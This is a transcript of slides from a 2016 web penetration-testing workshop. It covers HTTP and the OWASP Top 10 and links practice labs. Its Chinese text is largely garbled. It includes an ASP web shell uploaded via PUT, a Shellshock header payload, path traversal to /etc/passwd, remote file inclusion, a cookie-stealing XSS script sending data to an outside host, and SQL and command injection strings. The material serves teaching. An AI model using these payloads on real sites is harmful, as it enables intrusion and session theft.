Web滲透技巧(上)

The Declaration of Hacker (TDOH) WorkShop

Transcript

1. Web佒蝚ದૣ(Ӥ) 2016/10/01 @ TDOH WorkShop LionBug
2. About Me • 讙紣Ռ̴a.k.a̴LionBug • ಑褾ੜ୞ of TDOH • Co-founder of UCCU • Know a little • Web Security
3. HTTP Hypertext Transfer Protocol
4. HTTPS Hypertext Transfer Protocol Secure
5. 螀֢ܻቘ
6. Request & Response
7. HTTP Request GET /index.php HTTP/1.1 Host: lionbug.tw User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive
8. Netcat or Telnet
9. Burp Suite
10. HTTP Request
11. HTTP GET Request GET /index.php HTTP/1.1 Host: lionbug.tw User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive
12. HTTP POST Request POST /login.php HTTP/1.1 … Content-Type: application/x-www-form-urlencoded Content-Length: 29 <Enter> username=admin&password=admin
13. HTTP Method • GET • POST • HEAD • OPTIONS PUT DELETE TRACE MOVE…
14. HTTP OPTIONS Request OPTIONS / HTTP/1.1 HOST: lionbug.tw
15. HTTP OPTIONS Request SUCCESS HTTP/1.1 200 OK Allow: OPTIONS, TRACE, GET, HEAD, POST Server: Microsoft-IIS/7.5 Public: OPTIONS, TRACE, GET, HEAD, POST X-Powered-By: ASP.NET
16. HTTP OPTIONS Request Failed HTTP/1.1 200 OK Date: Thu, 29 Sep 2016 07:43:10 GMT Server: Apache
17. HTTP PUT Request PUT /shell.asp HTTP/1.1 HOST: lionbug.tw Content-Length: 26 <%eval(request(“cmd”))%>
18. HTTP PUT Request SUCCESS HTTP/1.1 201 Created Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Location: http://lionbug.tw/shell.asp
19. HTTP PUT Request Failed HTTP/1.1 404 Not Found
20. HTTP MOVE Request MOVE /shell.txt HTTP/1.1 HOST: lionbug.tw Destination: http://lionbug.tw/shell.asp
21. HTTP MOVE Request SUCCESS HTTP/1.1 201 Created Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Location: http://lionbug.tw/shell.asp
22. HTTP MOVE Request Failed HTTP/1.1 401 Unauthorized
23. WebDAV • MOVE shell.asp;.jpg • COPY shell.asp%00.jpg • NTFS稗褖 • Ӿࢵኪמ礓羬ᕹWebDav笙၏੕膌 getshell
24. HTTP TRACE Request TRACE /hello HTTP/1.1 HOST: lionbug.tw Lion: bug
25. HTTP TRACE Request SUCCESS HTTP/1.1 200 OK … TRACE /hello HTTP/1.1 HOST: lionbug.tw Lion: bug
26. XST Cross-Site Tracing
27. HTTP TRACE Request TRACE /<script>alert(1);<script> HTTP/1.1 HOST: lionbug.tw
28. HTTP TRACE Request SUCCESS HTTP/1.1 200 OK … TRACE /<script>alert(1);<script> HTTP/1.1 HOST: lionbug.tw
29. HTTP TRACE Request • XST • Bypass httpOnly?
30. Try Bypass http://ctf.mis.nkfust.edu.tw/bypass01/
31. HTTP Request URI GET /index.php HTTP/1.1 Host: lionbug.tw User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive
32. HTTP Request URI • /index.php • /upload/ • /blog/1 • /index.php/blog/1 • ../../../../../etc/passwd
33. Django Directory Traversal
34. Try Bypass http://ctf.mis.nkfust.edu.tw/bypass02/
35. HTTP Request Version GET /index.php HTTP/1.1 Host: lionbug.tw User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive
36. HTTP Request Version • ଉ憎粚๜ • 1.0 • 1.1 • Host • Connection: Keep-Alive • 2.0 • HTTP2.0ܐᦓᤩ฿4ӻṛܧ笙၏牧 ݢ膌๐ۓ瑊ૄმ(Freebuf)
37. HTTP Request Header GET /index.php HTTP/1.1 Host: lionbug.tw User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive
38. Requests HOST • Host: lionbug.tw • HTTP 1.1 • VirtualHost • …
39. Try Bypass http://ctf.mis.nkfust.edu.tw/bypass03/
40. Requests User-Agent • User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) • 战ग़翕ᒊ螡䢔珊匍獉਻ • Shellshock (bash CVE-2014-6271) • () { :; }; ping -c 5 lionbug.tw • …
41. Requests Referer • Referer: http://lionbug.tw/index.php • …
42. Requests Accept 疑碢 • Accept: text/html; • Accept-Language: zh-TW,zh; • Accept-Encoding: gzip, deflate • Accept-Ranges: bytes=0-1 • …
43. Requests Accept-Language • Accept-Language: zh-TW,zh; • …
44. Requests Accept-Ranges • Accept-Ranges: bytes=0-500 • Accept-Ranges: bytes=0-500,50-100 • CVE-2011-3192, CVE-2015-1635(MS15-034) • …
45. Requests Cookie • Cookie: PHPSESSID=sess_3dd484f2bab6a2d 2509e9850dae3b897; • …
46. Requests X-Forwarded-For • X-Forwarded-For: 127.0.0.1 • …
47. HTTP Response
48. HTTP Status Code HTTP/1.1 200 OK Date: Wed, 25 May 2016 11:48:22 GMT Server: Apache Content-Length: 72 Connection: close Content-Type: text/html
49. HTTP Status Code • 1xx ૪ᤩ矑ݑ牧襑ᥝ媣媲蒂ቘ • 2xx ૪౮ۑᤩ֑๐瑊矑硩牏ቘ薹牏㪔矑ݑ • 3xx 制眲嘨አ㬵᯿碝疩ݻ牧盅媲ጱ藶穩֖࣎ • 4xx դ蔭ԧአ䜛ᒒ፡蚏㬵ݢ胼咳ኞԧ梊藮牧ঘ繸 ԧ֑๐瑊ጱ蒂ቘ • 5xx ֑๐瑊ࣁ蒂ቘ藶穩ጱ螂纷Ӿ磪梊藮౲ᘏ吖ଉ 制眲咳ኞ
50. HTTP Status Code • 200 OK • 3xx • 301 Moved Permanently • 302 Found • 4xx • 401 Unauthorized • 403 Forbidden • 500 Internal Server Error
51. HTTP Response Header HTTP/1.1 200 OK Date: Wed, 25 May 2016 11:48:22 GMT Server: Apache Content-Length: 72 Connection: close Content-Type: text/html
52. Response Server • Server: Apache/2.4.7 (Ubuntu) • Server: Microsoft-IIS/7.5 • …
53. Response X-Powered-By • X-Powered-By: Flask/0.7.2 • X-Powered-By: ASP.NET • X-Powered-By: PHP/5.5.9-1ubuntu4.19 • …
54. HTTP Response Content HTTP/1.1 200 OK … <html> </html>
55. Try to find http://ctf.mis.nkfust.edu.tw/bypass05/
56. OWASP TOP 10 2013 ᤩ拻粋ጱ聲໺
57. ๚涢挨ጱ疩ݻ • A10 - Unvalidated Redirects and Forwards • https://google.com/?redirect=http://lionbug.tw/ • https://google.com/?redirect=http%3A%2f %2flionbug.tw%2f
58. Unvalidated Redirects and Forwards https://bounty.github.com/classifications/ unvalidated-redirect-or-forward.html
59. ֵአ૪Ꭳ笙၏زկ • A9 - Using Components with Known Vulnerabilities • ଉ憎笙၏ॺկ • FCKeditor, CKeditor • WordPress or Plugin • WPScan
60. ᪜ᒊٛݷ藶穩 • A8 – Cross Site Request Forgery (CSRF) • 藶穩ےӤtoken • 蝐抓牫᯿ᗝੂ嘨牫 • <img src=“http://lionbug.tw/newpass?pass=123”>
61. 耬੝ۑ胼羷獨ጱਂ玲矒ګ • A7 – Missing Function Level Access Control • /admin/upload.php • .git .svn • index.php~ • robots.txt
62. robots.txt # robots.txt to deny the robots access User-agent: * Disallow: /admin Disallow: /admin.ex Disallow: /config
63. robots.txt • fb.me/robots.txt • www.dcard.tw/robots.txt • tw.yahoo.com/robots.txt
64. 硵眤虻碘ู襷 • A6 – Sensitive Data Exposure • ੂ嘨 • MD5牏SHA1牏DES • ก嘨㯽蜍
65. ੂ嘨ਂࣁCookieӾ
66. LinkedIn 癱ੂ丽笙 http://thehackernews.com/2016/05/linkedin-account- hack.html
67. dadada http://www.nydailynews.com/news/national/mark-zuckerberg- twitter-account-hacked-password-dadada-article-1.2662351
68. ౯ጱੂ嘨䷱磪ےੂ 褾仡
69. EC-Council
70. EC-Council ?????????
71. 犋吚ጱਞ獊奲眲戔ਧ • A5 – Security Misconfiguration • ୧ੂ嘨? admin? root? 1234? • port • 3306 mysql • 6379 redis • 8081 tomcat • …
72. 犋ਞ獊ጱᇔկ㷢ᘍ • A4 – Insecure Direct Object References • ଘᤈ稗褖 • /?stuid=u9823001 • /cgpwd.php?username=admin&pass=1234 • /delete.php?id=123
73. ଘᤈ稗褖笙၏ A ݶ䋊 B ݶ䋊 C ݶ䋊 D ݶ䋊 Admin
74. Facebook Fixes Vulnerability That Led to Account Takeover, Pays Researcher $16K https://threatpost.com/facebook-fixes-vulnerability-that- led-to-account-takeover-pays-researcher-16k/120688/
75. Security Researcher Discovers Bug That Would Let Hackers Delete Any Photo Off Facebook https://techcrunch.com/2013/09/02/security-researcher-discovers- bug-that-would-let-hackers-delete-any-photo-off-facebook/
76. OpenFind Mail2000 犨఺᯿ᗝੂ嘨
77. 狕硬㮆Ո虻碘 襑ᥝ戔ਧᒫԫמᓟ಍胼硩᯿ᗝמ
78. modify_id ??
79. ౮ۑ᯿ᗝadminੂ嘨 https://zeroday.hitcon.org/vulnerability/ ZD-2016-00031
80. 犋吚ጱਞ獊奲眲戔ਧ • Directory Traversal • /download.php?file=123.pdf • /download.php?file=../../../../../etc/passwd • Local File Inclusion • /index.php?mod=news • <?php include($_GET[‘mod’].’php’); ?>
81. 犋吚ጱਞ獊奲眲戔ਧ • Remote File Inclusion • /index.php?mod=http://lionbug.tw/shell.php
 allow_url_fopen=On
82. WhatsApp LFI http://thehackernews.com/2013/06/Hacking- whatsapp-android-application.html
83. ᪜ᒊ脻๜纷ୗ硭䢗 • A3 – Cross-Site Scripting(XSS) • 硭䢗ਮ䜛ᒒ牫 • ࣁ獮ᒒ矠獈䘣఺դ嘨 •HTML牏CSS牏Javascript牏Flash …
84. ᪜ᒊ脻๜纷ୗ硭䢗 • 玱疤ࣳ • http://lionbug.tw/xss.php? msg=<script>alert(1);</script> • 㱪ਂࣳ • ෈ᒍ獉෈ • …
85. ՗碝窚盏玡Ӟ賳Flash XSSکXSS Worm https://www.leavesongs.com/HTML/sina-weibo- flashxss-worm.html
86. XSS 猂玲 Cookie
87. ᪜ᒊ脻๜纷ୗ硭䢗 <script> var img = new Image(); img.src = ‘http://lionbug.tw/’+document.cookie; </script>
88. OpenFind Mail2000 Xss
89. • onclick 磦矦౮ xonclick • script 磦矦౮ scrips • html ݄ᴻ ?? OpenFind Mail2000
90. <html></html><<html></html>s<html></ html>c<html></html>r<html></html>i<html></ html>p<html></html>t<html></ html>><html></html>a<html></html>l<html></ html>e<html></html>r<html></html>t<html></ html>(<html></html>'<html></html>x<html></ html>s<html></html>s<html></html>'<html></ html>)<html></html>;<html></html><<html></ html>/<html></html>s<html></html>c<html></ html>r<html></html>i<html></html>p<html></ html>t<html></html>> XSS Payload
91. OpenFind Mail2000 XSS
92. BeEF 吚㮆ૡٍՈ
93. XSS 犖胼಑盅ݣ
94. Try to find http://ctf.mis.nkfust.edu.tw/bypass06
95. ०硳ጱ涢挨膏蝫娄ᓕቘ • A2 – Broken Authentication and Session Management • Session and Cookie • Cookie • admin=0; • user=21232f297a57a5a743894a0e4a801fc3; • HMAC ?? • …
96. 襷ॠ笙၏ http://www.inside.com.tw/2015/08/21/ruten-security- issue
97. ဳ獈硭䢗 • A1 – Injection • ဳ獈圵觊 • SQL Injection • Code Injection • Command Injection • LDAP Injection • …
98. SQL Injection Select username, password From Member Where username = ‘admin’ and password = ‘1234’
99. user.php?id=1 SELECT id, name, password From member Where id = 1 id name password 1 admin asdxcx 2 lin 5657 3 jhe 123 4 lionbug qwe
100. user.php?id=1 or 1=1 SELECT id, name, password From member Where id = 1 Or 1=1 id name password 1 admin asdxcx 2 lin 5657 3 jhe 123 4 lionbug qwe id name password 1 admin asdxcx 2 lin 5657 3 jhe 123 4 lionbug qwe
101. Login SELECT … Where name = ‘admin’ AND password = ‘asdxcx’ id name password 1 admin asdxcx 2 lin 5657 3 jhe 123 4 lionbug qwe id name password 1 admin asdxcx 2 lin 5657 3 jhe 123 4 lionbug qwe id name password 1 admin asdxcx 2 lin 5657 3 jhe 123 4 lionbug qwe
102. Login SELECT … Where name = ‘admin’ or 1 = 1 -- ‘’ AND password = ‘’ id name password 1 admin asdxcx 2 lin 5657 3 jhe 123 4 lionbug qwe id name password 1 admin asdxcx 2 lin 5657 3 jhe 123 4 lionbug qwe id name password 1 admin asdxcx 2 lin 5657 3 jhe 123 4 lionbug qwe id name password 1 admin asdxcx 2 lin 5657 3 jhe 123 4 lionbug qwe
103. Code Injection • 纷ୗ嘨ဳ獈 • PHP • eval($_GET[‘code’]); • ASP • <%eval request("code")%>
104. Uber Remote Code Execution http://blog.orange.tw/2016/04/bug-bounty-uber- ubercom-remote-code_7.html
105. Command Injection • ޸犤ဳ獈 • curl http://lionbug.tw • curl http://lionbug.tw; ls -al
106. Google Command injection http://www.pranav-venkat.com/2016/03/command- injection-which-got-me-6000.html
107. 伛猋ૡ֢ • 蘷獨承᥺ ໛礍 羬翄 (wappalyzer) • 矊ፓ袅 (dirb) • 㯏礚 • subDomainsBrute • … • …
108. ଉ憎笙၏ڥአ • 犨఺Ӥ㯽笙၏ • LFI • SQL injection • …
109. 犨఺Ӥ㯽笙၏ • 涢挨ොୗ • JS • FileName • Content-Type • Header
110. JS 獮ᒒ涢挨
111. 犨఺Ӥ㯽笙၏ • FileName • 123.jpg • 123.php%00.jpg • 123.jpg.php • 123.php?.jpg
112. 犨఺Ӥ㯽笙၏ • Content-Type • image/jpeg • image/png • Header • ??
113. PHP Bug?? http://ctf.mis.nkfust.edu.tw/bypass07
114. == TRUE FALSE 1 0 -1 "1" "0" "-1" NULL array() "php" "" TRUE TRUE FALSE TRUE FALSE TRUE TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE TRUE TRUE FALSE TRUE 1 TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE 0 FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE TRUE FALSE TRUE TRUE -1 TRUE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE "1" TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE "0" FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE "-1" TRUE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE NULL FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE TRUE FALSE TRUE array() FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE TRUE FALSE FALSE "php" TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE "" FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE FALSE FALSE TRUE
115. Q & A